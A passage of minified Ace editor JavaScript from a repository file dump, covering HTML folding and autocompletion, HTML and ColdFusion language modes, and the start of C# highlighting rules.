o.push(a)}}}}).call(a.prototype)}),define(\"ace/mode/folding/html\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/folding/mixed\",\"ace/mode/folding/xml\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"./mixed\").FoldMode,s=e(\"./xml\").FoldMode,o=e(\"./cstyle\").FoldMode,u=t.FoldMode=function(e,t){i.call(this,new s(e,t),{\"js-\":new o,\"css-\":new o})};r.inherits(u,i)}),define(\"ace/mode/html_completions\",[\"require\",\"exports\",\"module\",\"ace/token_iterator\"],function(e,t,n){\"use strict\";function f(e,t){return e.type.lastIndexOf(t+\".xml\")>-1}function l(e,t){var n=new r(e,t.row,t.column),i=n.getCurrentToken();while(i&&!f(i,\"tag-name\"))i=n.stepBackward();if(i)return i.value}function c(e,t){var n=new r(e,t.row,t.column),i=n.getCurrentToken();while(i&&!f(i,\"attribute-name\"))i=n.stepBackward();if(i)return i.value}var r=e(\"../token_iterator\").TokenIterator,i=[\"accesskey\",\"class\",\"contenteditable\",\"contextmenu\",\"dir\",\"draggable\",\"dropzone\",\"hidden\",\"id\",\"inert\",\"itemid\",\"itemprop\",\"itemref\",\"itemscope\",\"itemtype\",\"lang\",\"spellcheck\",\"style\",\"tabindex\",\"title\",\"translate\"],s=[\"onabort\",\"onblur\",\"oncancel\",\"oncanplay\",\"oncanplaythrough\",\"onchange\",\"onclick\",\"onclose\",\"oncontextmenu\",\"oncuechange\",\"ondblclick\",\"ondrag\",\"ondragend\",\"ondragenter\",\"ondragleave\",\"ondragover\",\"ondragstart\",\"ondrop\",\"ondurationchange\",\"onemptied\",\"onended\",\"onerror\",\"onfocus\",\"oninput\",\"oninvalid\",\"onkeydown\",\"onkeypress\",\"onkeyup\",\"onload\",\"onloadeddata\",\"onloadedmetadata\",\"onloadstart\",\"onmousedown\",\"onmousemove\",\"onmouseout\",\"onmouseover\",\"onmouseup\",\"onmousewheel\",\"onpause\",\"onplay\",\"onplaying\",\"onprogress\",\"onratechange\",\"onreset\",\"onscroll\",\"onseeked\",\"onseeking\",\"onselect\",\"onshow\",\"onstalled\",\"onsubmit\",\"onsuspend\",\"ontimeupdate\",\"onvolumechange\",\"onwaiting\"],o=i.concat(s),u={html:{manifest:1},head:{},title:{},base:{href:1,target:1},link:{href:1,hreflang:1,rel:{stylesheet:1,icon:1},media:{all:1,screen:1,print:1},type:{\"text/css\":1,\"image/png\":1,\"image/jpeg\":1,\"image/gif\":1},sizes:1},meta:{\"http-equiv\":{\"content-type\":1},name:{description:1,keywords:1},content:{\"text/html; charset=UTF-8\":1},charset:1},style:{type:1,media:{all:1,screen:1,print:1},scoped:1},script:{charset:1,type:{\"text/javascript\":1},src:1,defer:1,async:1},noscript:{href:1},body:{onafterprint:1,onbeforeprint:1,onbeforeunload:1,onhashchange:1,onmessage:1,onoffline:1,onpopstate:1,onredo:1,onresize:1,onstorage:1,onundo:1,onunload:1},section:{},nav:{},article:{pubdate:1},aside:{},h1:{},h2:{},h3:{},h4:{},h5:{},h6:{},header:{},footer:{},address:{},main:{},p:{},hr:{},pre:{},blockquote:{cite:1},ol:{start:1,reversed:1},ul:{},li:{value:1},dl:{},dt:{},dd:{},figure:{},figcaption:{},div:{},a:{href:1,target:{_blank:1,top:1},ping:1,rel:{nofollow:1,alternate:1,author:1,bookmark:1,help:1,license:1,next:1,noreferrer:1,prefetch:1,prev:1,search:1,tag:1},media:1,hreflang:1,type:1},em:{},strong:{},small:{},s:{},cite:{},q:{cite:1},dfn:{},abbr:{},data:{},time:{datetime:1},code:{},\"var\":{},samp:{},kbd:{},sub:{},sup:{},i:{},b:{},u:{},mark:{},ruby:{},rt:{},rp:{},bdi:{},bdo:{},span:{},br:{},wbr:{},ins:{cite:1,datetime:1},del:{cite:1,datetime:1},img:{alt:1,src:1,height:1,width:1,usemap:1,ismap:1},iframe:{name:1,src:1,height:1,width:1,sandbox:{\"allow-same-origin\":1,\"allow-top-navigation\":1,\"allow-forms\":1,\"allow-scripts\":1},seamless:{seamless:1}},embed:{src:1,height:1,width:1,type:1},object:{param:1,data:1,type:1,height:1,width:1,usemap:1,name:1,form:1,classid:1},param:{name:1,value:1},video:{src:1,autobuffer:1,autoplay:{autoplay:1},loop:{loop:1},controls:{controls:1},width:1,height:1,poster:1,muted:{muted:1},preload:{auto:1,metadata:1,none:1}},audio:{src:1,autobuffer:1,autoplay:{autoplay:1},loop:{loop:1},controls:{controls:1},muted:{muted:1},preload:{auto:1,metadata:1,none:1}},source:{src:1,type:1,media:1},track:{kind:1,src:1,srclang:1,label:1,\"default\":1},canvas:{width:1,height:1},map:{name:1},area:{shape:1,coords:1,href:1,hreflang:1,alt:1,target:1,media:1,rel:1,ping:1,type:1},svg:{},math:{},table:{summary:1},caption:{},colgroup:{span:1},col:{span:1},tbody:{},thead:{},tfoot:{},tr:{},td:{headers:1,rowspan:1,colspan:1},th:{headers:1,rowspan:1,colspan:1,scope:1},form:{\"accept-charset\":1,action:1,autocomplete:1,enctype:{\"multipart/form-data\":1,\"application/x-www-form-urlencoded\":1},method:{get:1,post:1},name:1,novalidate:1,target:{_blank:1,top:1}},fieldset:{disabled:1,form:1,name:1},legend:{},label:{form:1,\"for\":1},input:{type:{text:1,password:1,hidden:1,checkbox:1,submit:1,radio:1,file:1,button:1,reset:1,image:31,color:1,date:1,datetime:1,\"datetime-local\":1,email:1,month:1,number:1,range:1,search:1,tel:1,time:1,url:1,week:1},accept:1,alt:1,autocomplete:{on:1,off:1},autofocus:{autofocus:1},checked:{checked:1},disabled:{disabled:1},form:1,formaction:1,formenctype:{\"application/x-www-form-urlencoded\":1,\"multipart/form-data\":1,\"text/plain\":1},formmethod:{get:1,post:1},formnovalidate:{formnovalidate:1},formtarget:{_blank:1,_self:1,_parent:1,_top:1},height:1,list:1,max:1,maxlength:1,min:1,multiple:{multiple:1},pattern:1,placeholder:1,readonly:{readonly:1},required:{required:1},size:1,src:1,step:1,width:1,files:1,value:1},button:{autofocus:1,disabled:{disabled:1},form:1,formaction:1,formenctype:1,formmethod:1,formnovalidate:1,formtarget:1,name:1,value:1,type:{button:1,submit:1}},select:{autofocus:1,disabled:1,form:1,multiple:{multiple:1},name:1,size:1,readonly:{readonly:1}},datalist:{},optgroup:{disabled:1,label:1},option:{disabled:1,selected:1,label:1,value:1},textarea:{autofocus:{autofocus:1},disabled:{disabled:1},form:1,maxlength:1,name:1,placeholder:1,readonly:{readonly:1},required:{required:1},rows:1,cols:1,wrap:{on:1,off:1,hard:1,soft:1}},keygen:{autofocus:1,challenge:{challenge:1},disabled:{disabled:1},form:1,keytype:{rsa:1,dsa:1,ec:1},name:1},output:{\"for\":1,form:1,name:1},progress:{value:1,max:1},meter:{value:1,min:1,max:1,low:1,high:1,optimum:1},details:{open:1},summary:{},command:{type:1,label:1,icon:1,disabled:1,checked:1,radiogroup:1,command:1},menu:{type:1,label:1},dialog:{open:1}},a=Object.keys(u),h=function(){};(function(){this.getCompletions=function(e,t,n,r){var i=t.getTokenAt(n.row,n.column);if(!i)return[];if(f(i,\"tag-name\")||f(i,\"tag-open\")||f(i,\"end-tag-open\"))return this.getTagCompletions(e,t,n,r);if(f(i,\"tag-whitespace\")||f(i,\"attribute-name\"))return this.getAttributeCompletions(e,t,n,r);if(f(i,\"attribute-value\"))return this.getAttributeValueCompletions(e,t,n,r);var s=t.getLine(n.row).substr(0,n.column);return/&[A-z]*$/i.test(s)?this.getHTMLEntityCompletions(e,t,n,r):[]},this.getTagCompletions=function(e,t,n,r){return a.map(function(e){return{value:e,meta:\"tag\",score:Number.MAX_VALUE}})},this.getAttributeCompletions=function(e,t,n,r){var i=l(t,n);if(!i)return[];var s=o;return i in u&&(s=s.concat(Object.keys(u[i]))),s.map(function(e){return{caption:e,snippet:e+'=\"$0\"',meta:\"attribute\",score:Number.MAX_VALUE}})},this.getAttributeValueCompletions=function(e,t,n,r){var i=l(t,n),s=c(t,n);if(!i)return[];var o=[];return i in u&&s in u[i]&&typeof u[i][s]==\"object\"&&(o=Object.keys(u[i][s])),o.map(function(e){return{caption:e,snippet:e,meta:\"attribute value\",score:Number.MAX_VALUE}})},this.getHTMLEntityCompletions=function(e,t,n,r){var i=[\"&Aacute;\",\"&aacute;\",\"&Acirc;\",\"&acirc;\",\"&acute;\",\"&AElig;\",\"&aelig;\",\"&Agrave;\",\"&agrave;\",\"&alefsym;\",\"&Alpha;\",\"&alpha;\",\"&amp;\",\"&and;\",\"&ang;\",\"&Aring;\",\"&aring;\",\"&asymp;\",\"&Atilde;\",\"&atilde;\",\"&Auml;\",\"&auml;\",\"&bdquo;\",\"&Beta;\",\"&beta;\",\"&brvbar;\",\"&bull;\",\"&cap;\",\"&Ccedil;\",\"&ccedil;\",\"&cedil;\",\"&cent;\",\"&Chi;\",\"&chi;\",\"&circ;\",\"&clubs;\",\"&cong;\",\"&copy;\",\"&crarr;\",\"&cup;\",\"&curren;\",\"&Dagger;\",\"&dagger;\",\"&dArr;\",\"&darr;\",\"&deg;\",\"&Delta;\",\"&delta;\",\"&diams;\",\"&divide;\",\"&Eacute;\",\"&eacute;\",\"&Ecirc;\",\"&ecirc;\",\"&Egrave;\",\"&egrave;\",\"&empty;\",\"&emsp;\",\"&ensp;\",\"&Epsilon;\",\"&epsilon;\",\"&equiv;\",\"&Eta;\",\"&eta;\",\"&ETH;\",\"&eth;\",\"&Euml;\",\"&euml;\",\"&euro;\",\"&exist;\",\"&fnof;\",\"&forall;\",\"&frac12;\",\"&frac14;\",\"&frac34;\",\"&frasl;\",\"&Gamma;\",\"&gamma;\",\"&ge;\",\"&gt;\",\"&hArr;\",\"&harr;\",\"&hearts;\",\"&hellip;\",\"&Iacute;\",\"&iacute;\",\"&Icirc;\",\"&icirc;\",\"&iexcl;\",\"&Igrave;\",\"&igrave;\",\"&image;\",\"&infin;\",\"&int;\",\"&Iota;\",\"&iota;\",\"&iquest;\",\"&isin;\",\"&Iuml;\",\"&iuml;\",\"&Kappa;\",\"&kappa;\",\"&Lambda;\",\"&lambda;\",\"&lang;\",\"&laquo;\",\"&lArr;\",\"&larr;\",\"&lceil;\",\"&ldquo;\",\"&le;\",\"&lfloor;\",\"&lowast;\",\"&loz;\",\"&lrm;\",\"&lsaquo;\",\"&lsquo;\",\"&lt;\",\"&macr;\",\"&mdash;\",\"&micro;\",\"&middot;\",\"&minus;\",\"&Mu;\",\"&mu;\",\"&nabla;\",\"&nbsp;\",\"&ndash;\",\"&ne;\",\"&ni;\",\"&not;\",\"&notin;\",\"&nsub;\",\"&Ntilde;\",\"&ntilde;\",\"&Nu;\",\"&nu;\",\"&Oacute;\",\"&oacute;\",\"&Ocirc;\",\"&ocirc;\",\"&OElig;\",\"&oelig;\",\"&Ograve;\",\"&ograve;\",\"&oline;\",\"&Omega;\",\"&omega;\",\"&Omicron;\",\"&omicron;\",\"&oplus;\",\"&or;\",\"&ordf;\",\"&ordm;\",\"&Oslash;\",\"&oslash;\",\"&Otilde;\",\"&otilde;\",\"&otimes;\",\"&Ouml;\",\"&ouml;\",\"&para;\",\"&part;\",\"&permil;\",\"&perp;\",\"&Phi;\",\"&phi;\",\"&Pi;\",\"&pi;\",\"&piv;\",\"&plusmn;\",\"&pound;\",\"&Prime;\",\"&prime;\",\"&prod;\",\"&prop;\",\"&Psi;\",\"&psi;\",\"&quot;\",\"&radic;\",\"&rang;\",\"&raquo;\",\"&rArr;\",\"&rarr;\",\"&rceil;\",\"&rdquo;\",\"&real;\",\"&reg;\",\"&rfloor;\",\"&Rho;\",\"&rho;\",\"&rlm;\",\"&rsaquo;\",\"&rsquo;\",\"&sbquo;\",\"&Scaron;\",\"&scaron;\",\"&sdot;\",\"&sect;\",\"&shy;\",\"&Sigma;\",\"&sigma;\",\"&sigmaf;\",\"&sim;\",\"&spades;\",\"&sub;\",\"&sube;\",\"&sum;\",\"&sup;\",\"&sup1;\",\"&sup2;\",\"&sup3;\",\"&supe;\",\"&szlig;\",\"&Tau;\",\"&tau;\",\"&there4;\",\"&Theta;\",\"&theta;\",\"&thetasym;\",\"&thinsp;\",\"&THORN;\",\"&thorn;\",\"&tilde;\",\"&times;\",\"&trade;\",\"&Uacute;\",\"&uacute;\",\"&uArr;\",\"&uarr;\",\"&Ucirc;\",\"&ucirc;\",\"&Ugrave;\",\"&ugrave;\",\"&uml;\",\"&upsih;\",\"&Upsilon;\",\"&upsilon;\",\"&Uuml;\",\"&uuml;\",\"&weierp;\",\"&Xi;\",\"&xi;\",\"&Yacute;\",\"&yacute;\",\"&yen;\",\"&Yuml;\",\"&yuml;\",\"&Zeta;\",\"&zeta;\",\"&zwj;\",\"&zwnj;\"];return i.map(function(e){return{caption:e,snippet:e.substr(1),meta:\"html entity\",score:Number.MAX_VALUE}})}}).call(h.prototype),t.HtmlCompletions=h}),define(\"ace/mode/html\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/text\",\"ace/mode/javascript\",\"ace/mode/css\",\"ace/mode/html_highlight_rules\",\"ace/mode/behaviour/xml\",\"ace/mode/folding/html\",\"ace/mode/html_completions\",\"ace/worker/worker_client\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./text\").Mode,o=e(\"./javascript\").Mode,u=e(\"./css\").Mode,a=e(\"./html_highlight_rules\").HtmlHighlightRules,f=e(\"./behaviour/xml\").XmlBehaviour,l=e(\"./folding/html\").FoldMode,c=e(\"./html_completions\").HtmlCompletions,h=e(\"../worker/worker_client\").WorkerClient,p=[\"area\",\"base\",\"br\",\"col\",\"embed\",\"hr\",\"img\",\"input\",\"keygen\",\"link\",\"meta\",\"menuitem\",\"param\",\"source\",\"track\",\"wbr\"],d=[\"li\",\"dt\",\"dd\",\"p\",\"rt\",\"rp\",\"optgroup\",\"option\",\"colgroup\",\"td\",\"th\"],v=function(e){this.fragmentContext=e&&e.fragmentContext,this.HighlightRules=a,this.$behaviour=new f,this.$completer=new c,this.createModeDelegates({\"js-\":o,\"css-\":u}),this.foldingRules=new l(this.voidElements,i.arrayToMap(d))};r.inherits(v,s),function(){this.blockComment={start:\"<!--\",end:\"-->\"},this.voidElements=i.arrayToMap(p),this.getNextLineIndent=function(e,t,n){return this.$getIndent(t)},this.checkOutdent=function(e,t,n){return!1},this.getCompletions=function(e,t,n,r){return this.$completer.getCompletions(e,t,n,r)},this.createWorker=function(e){if(this.constructor!=v)return;var t=new h([\"ace\"],\"ace/mode/html_worker\",\"Worker\");return t.attachToDocument(e.getDocument()),this.fragmentContext&&t.call(\"setOptions\",[{context:this.fragmentContext}]),t.on(\"error\",function(t){e.setAnnotations(t.data)}),t.on(\"terminate\",function(){e.clearAnnotations()}),t},this.$id=\"ace/mode/html\"}.call(v.prototype),t.Mode=v}),define(\"ace/mode/coldfusion_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/javascript_highlight_rules\",\"ace/mode/html_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./javascript_highlight_rules\").JavaScriptHighlightRules,s=e(\"./html_highlight_rules\").HtmlHighlightRules,o=function(){s.call(this),this.$rules.tag[2].token=function(e,t){var n=t.slice(0,2)==\"cf\"?\"keyword\":\"meta.tag\";return[\"meta.tag.punctuation.\"+(e==\"<\"?\"\":\"end-\")+\"tag-open.xml\",n+\".tag-name.xml\"]};var e=Object.keys(this.$rules).filter(function(e){return/^(js|css)-/.test(e)});this.embedRules({cfmlComment:[{regex:\"<!---\",token:\"comment.start\",push:\"cfmlComment\"},{regex:\"--->\",token:\"comment.end\",next:\"pop\"},{defaultToken:\"comment\"}]},\"\",[{regex:\"<!---\",token:\"comment.start\",push:\"cfmlComment\"}],[\"comment\",\"start\",\"tag_whitespace\",\"cdata\"].concat(e)),this.$rules.cfTag=[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:\"pop\"}];var t={token:function(e,t){return[\"meta.tag.punctuation.\"+(e==\"<\"?\"\":\"end-\")+\"tag-open.xml\",\"keyword.tag-name.xml\"]},regex:\"(</?)(cf[-_a-zA-Z0-9:.]+)\",push:\"cfTag\"};e.forEach(function(e){this.$rules[e].unshift(t)},this),this.embedTagRules((new i({noJSX:!0})).getRules(),\"cfjs-\",\"cfscript\"),this.normalizeRules()};r.inherits(o,s),t.ColdfusionHighlightRules=o}),define(\"ace/mode/coldfusion\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/html\",\"ace/mode/coldfusion_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./html\").Mode,o=e(\"./coldfusion_highlight_rules\").ColdfusionHighlightRules,u=\"cfabort|cfapplication|cfargument|cfassociate|cfbreak|cfcache|cfcollection|cfcookie|cfdbinfo|cfdirectory|cfdump|cfelse|cfelseif|cferror|cfexchangecalendar|cfexchangeconnection|cfexchangecontact|cfexchangefilter|cfexchangetask|cfexit|cffeed|cffile|cfflush|cfftp|cfheader|cfhtmlhead|cfhttpparam|cfimage|cfimport|cfinclude|cfindex|cfinsert|cfinvokeargument|cflocation|cflog|cfmailparam|cfNTauthenticate|cfobject|cfobjectcache|cfparam|cfpdfformparam|cfprint|cfprocparam|cfprocresult|cfproperty|cfqueryparam|cfregistry|cfreportparam|cfrethrow|cfreturn|cfschedule|cfsearch|cfset|cfsetting|cfthrow|cfzipparam)\".split(\"|\"),a=function(){s.call(this),this.HighlightRules=o};r.inherits(a,s),function(){this.voidElements=r.mixin(i.arrayToMap(u),this.voidElements),this.getNextLineIndent=function(e,t,n){return this.$getIndent(t)},this.$id=\"ace/mode/coldfusion\"}.call(a.prototype),t.Mode=a})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-csharp.js",
    "content": "define(\"ace/mode/doc_comment_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:\"comment.doc.tag\",regex:\"@[\\\\w\\\\d_]+\"},s.getTagRule(),{defaultToken:\"comment.doc\",caseInsensitive:!0}]}};r.inherits(s,i),s.getTagRule=function(e){return{token:\"comment.doc.tag.storage.type\",regex:\"\\\\b(?:TODO|FIXME|XXX|HACK)\\\\b\"}},s.getStartRule=function(e){return{token:\"comment.doc\",regex:\"\\\\/\\\\*(?=\\\\*)\",next:e}},s.getEndRule=function(e){return{token:\"comment.doc\",regex:\"\\\\*\\\\/\",next:e}},t.DocCommentHighlightRules=s}),define(\"ace/mode/csharp_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/doc_comment_highlight_rules\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./doc_comment_highlight_rules\").DocCommentHighlightRules,s=e(\"./text_highlight_rules\").TextHighlightRules,o=function(){var e=this.createKeywordMapper({\"variable.language\":\"this\",keyword:\"abstract|event|new|struct|as|explicit|null|switch|base|extern|object|this|bool|false|operator|throw|break|finally|out|true|byte|fixed|override|try|case|float|params|typeof|catch|for|private|uint|char|foreach|protected|ulong|checked|goto|public|unchecked|class|if|readonly|unsafe|const|implicit|ref|ushort|continue|in|return|using|decimal|int|sbyte|virtual|default|interface|sealed|volatile|delegate|internal|short|void|do|is|sizeof|while|double|lock|stackalloc|else|long|static|enum|namespace|string|var|dynamic\",\"constant.language\":\"null|true|false\"},\"identifier\");this.$rules={start:[{token:\"comment\",regex:\"\\\\/\\\\/.*$\"},i.getStartRule(\"doc-start\"),{token:\"comment\",regex:\"\\\\/\\\\*\",next:\"comment\"},{token:\"string\",regex:/'(?:.|\\\\(:?u[\\da-fA-F]+|x[\\da-fA-F]+|[tbrf'\"n]))'/},{token:\"string\",start:'\"',end:'\"|$',next:[{token:\"constant.language.escape\",regex:/\\\\(:?u[\\da-fA-F]+|x[\\da-fA-F]+|[tbrf'\"n])/},{token:\"invalid\",regex:/\\\\./}]},{token:\"string\",start:'@\"',end:'\"',next:[{token:\"constant.language.escape\",regex:'\"\"'}]},{token:\"constant.numeric\",regex:\"0[xX][0-9a-fA-F]+\\\\b\"},{token:\"constant.numeric\",regex:\"[+-]?\\\\d+(?:(?:\\\\.\\\\d*)?(?:[eE][+-]?\\\\d+)?)?\\\\b\"},{token:\"constant.language.boolean\",regex:\"(?:true|false)\\\\b\"},{token:e,regex:\"[a-zA-Z_$][a-zA-Z0-9_$]*\\\\b\"},{token:\"keyword.operator\",regex:\"!|\\\\$|%|&|\\\\*|\\\\-\\\\-|\\\\-|\\\\+\\\\+|\\\\+|~|===|==|=|!=|!==|<=|>=|<<=|>>=|>>>=|<>|<|>|!|&&|\\\\|\\\\||\\\\?\\\\:|\\\\*=|%=|\\\\+=|\\\\-=|&=|\\\\^=|\\\\b(?:in|instanceof|new|delete|typeof|void)\"},{token:\"keyword\",regex:\"^\\\\s*#(if|else|elif|endif|define|undef|warning|error|line|region|endregion|pragma)\"},{token:\"punctuation.operator\",regex:\"\\\\?|\\\\:|\\\\,|\\\\;|\\\\.\"},{token:\"paren.lparen\",regex:\"[[({]\"},{token:\"paren.rparen\",regex:\"[\\\\])}]\"},{token:\"text\",regex:\"\\\\s+\"}],comment:[{token:\"comment\",regex:\".*?\\\\*\\\\/\",next:\"start\"},{token:\"comment\",regex:\".+\"}]},this.embedRules(i,\"doc-\",[i.getEndRule(\"start\")]),this.normalizeRules()};r.inherits(o,s),t.CSharpHighlightRules=o}),define(\"ace/mode/matching_brace_outdent\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=function(){};(function(){this.checkOutdent=function(e,t){return/^\\s+$/.test(e)?/^\\s*\\}/.test(t):!1},this.autoOutdent=function(e,t){var n=e.getLine(t),i=n.match(/^(\\s*\\})/);if(!i)return 0;var s=i[1].length,o=e.findMatchingBracket({row:t,column:s});if(!o||o.row==t)return 0;var u=this.$getIndent(e.getLine(o.row));e.replace(new r(t,0,t,s-1),u)},this.$getIndent=function(e){return e.match(/^\\s*/)[0]}}).call(i.prototype),t.MatchingBraceOutdent=i}),define(\"ace/mode/behaviour/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),u=[\"text\",\"paren.rparen\",\"punctuation.operator\"],a=[\"text\",\"paren.rparen\",\"punctuation.operator\",\"comment\"],f,l={},c=function(e){var t=-1;e.multiSelect&&(t=e.selection.index,l.rangeCount!=e.multiSelect.rangeCount&&(l={rangeCount:e.multiSelect.rangeCount}));if(l[t])return f=l[t];f=l[t]={autoInsertedBrackets:0,autoInsertedRow:-1,autoInsertedLineEnd:\"\",maybeInsertedBrackets:0,maybeInsertedRow:-1,maybeInsertedLineStart:\"\",maybeInsertedLineEnd:\"\"}},h=function(e,t,n,r){var i=e.end.row-e.start.row;return{text:n+t+r,selection:[0,e.start.column+1,i,e.end.column+(i?0:1)]}},p=function(){this.add(\"braces\",\"insertion\",function(e,t,n,r,i){var s=n.getCursorPosition(),u=r.doc.getLine(s.row);if(i==\"{\"){c(n);var a=n.getSelectionRange(),l=r.doc.getTextRange(a);if(l!==\"\"&&l!==\"{\"&&n.getWrapBehavioursEnabled())return h(a,l,\"{\",\"}\");if(p.isSaneInsertion(n,r))return/[\\]\\}\\)]/.test(u[s.column])||n.inMultiSelectMode?(p.recordAutoInsert(n,r,\"}\"),{text:\"{}\",selection:[1,1]}):(p.recordMaybeInsert(n,r,\"{\"),{text:\"{\",selection:[1,1]})}else if(i==\"}\"){c(n);var d=u.substring(s.column,s.column+1);if(d==\"}\"){var v=r.$findOpeningBracket(\"}\",{column:s.column+1,row:s.row});if(v!==null&&p.isAutoInsertedClosing(s,u,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}else{if(i==\"\\n\"||i==\"\\r\\n\"){c(n);var m=\"\";p.isMaybeInsertedClosing(s,u)&&(m=o.stringRepeat(\"}\",f.maybeInsertedBrackets),p.clearMaybeInsertedClosing());var d=u.substring(s.column,s.column+1);if(d===\"}\"){var g=r.findMatchingBracket({row:s.row,column:s.column+1},\"}\");if(!g)return null;var y=this.$getIndent(r.getLine(g.row))}else{if(!m){p.clearMaybeInsertedClosing();return}var y=this.$getIndent(u)}var b=y+r.getTabString();return{text:\"\\n\"+b+\"\\n\"+y+m,selection:[1,b.length,1,b.length]}}p.clearMaybeInsertedClosing()}}),this.add(\"braces\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"{\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.end.column,i.end.column+1);if(u==\"}\")return i.end.column++,i;f.maybeInsertedBrackets--}}),this.add(\"parens\",\"insertion\",function(e,t,n,r,i){if(i==\"(\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"(\",\")\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\")\"),{text:\"()\",selection:[1,1]}}else if(i==\")\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\")\"){var l=r.$findOpeningBracket(\")\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"parens\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"(\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\")\")return i.end.column++,i}}),this.add(\"brackets\",\"insertion\",function(e,t,n,r,i){if(i==\"[\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"[\",\"]\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\"]\"),{text:\"[]\",selection:[1,1]}}else if(i==\"]\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\"]\"){var l=r.$findOpeningBracket(\"]\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"brackets\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"[\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\"]\")return i.end.column++,i}}),this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){c(n);var s=i,o=n.getSelectionRange(),u=r.doc.getTextRange(o);if(u!==\"\"&&u!==\"'\"&&u!='\"'&&n.getWrapBehavioursEnabled())return h(o,u,s,s);if(!u){var a=n.getCursorPosition(),f=r.doc.getLine(a.row),l=f.substring(a.column-1,a.column),p=f.substring(a.column,a.column+1),d=r.getTokenAt(a.row,a.column),v=r.getTokenAt(a.row,a.column+1);if(l==\"\\\\\"&&d&&/escape/.test(d.type))return null;var m=d&&/string|escape/.test(d.type),g=!v||/string|escape/.test(v.type),y;if(p==s)y=m!==g;else{if(m&&!g)return null;if(m&&g)return null;var b=r.$mode.tokenRe;b.lastIndex=0;var w=b.test(l);b.lastIndex=0;var E=b.test(l);if(w||E)return null;if(p&&!/[\\s;,.})\\]\\\\]/.test(p))return null;y=!0}return{text:y?s+s:\"\",selection:[1,1]}}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}})};p.isSaneInsertion=function(e,t){var n=e.getCursorPosition(),r=new s(t,n.row,n.column);if(!this.$matchTokenType(r.getCurrentToken()||\"text\",u)){var i=new s(t,n.row,n.column+1);if(!this.$matchTokenType(i.getCurrentToken()||\"text\",u))return!1}return r.stepForward(),r.getCurrentTokenRow()!==n.row||this.$matchTokenType(r.getCurrentToken()||\"text\",a)},p.$matchTokenType=function(e,t){return t.indexOf(e.type||e)>-1},p.recordAutoInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isAutoInsertedClosing(r,i,f.autoInsertedLineEnd[0])||(f.autoInsertedBrackets=0),f.autoInsertedRow=r.row,f.autoInsertedLineEnd=n+i.substr(r.column),f.autoInsertedBrackets++},p.recordMaybeInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isMaybeInsertedClosing(r,i)||(f.maybeInsertedBrackets=0),f.maybeInsertedRow=r.row,f.maybeInsertedLineStart=i.substr(0,r.column)+n,f.maybeInsertedLineEnd=i.substr(r.column),f.maybeInsertedBrackets++},p.isAutoInsertedClosing=function(e,t,n){return f.autoInsertedBrackets>0&&e.row===f.autoInsertedRow&&n===f.autoInsertedLineEnd[0]&&t.substr(e.column)===f.autoInsertedLineEnd},p.isMaybeInsertedClosing=function(e,t){return 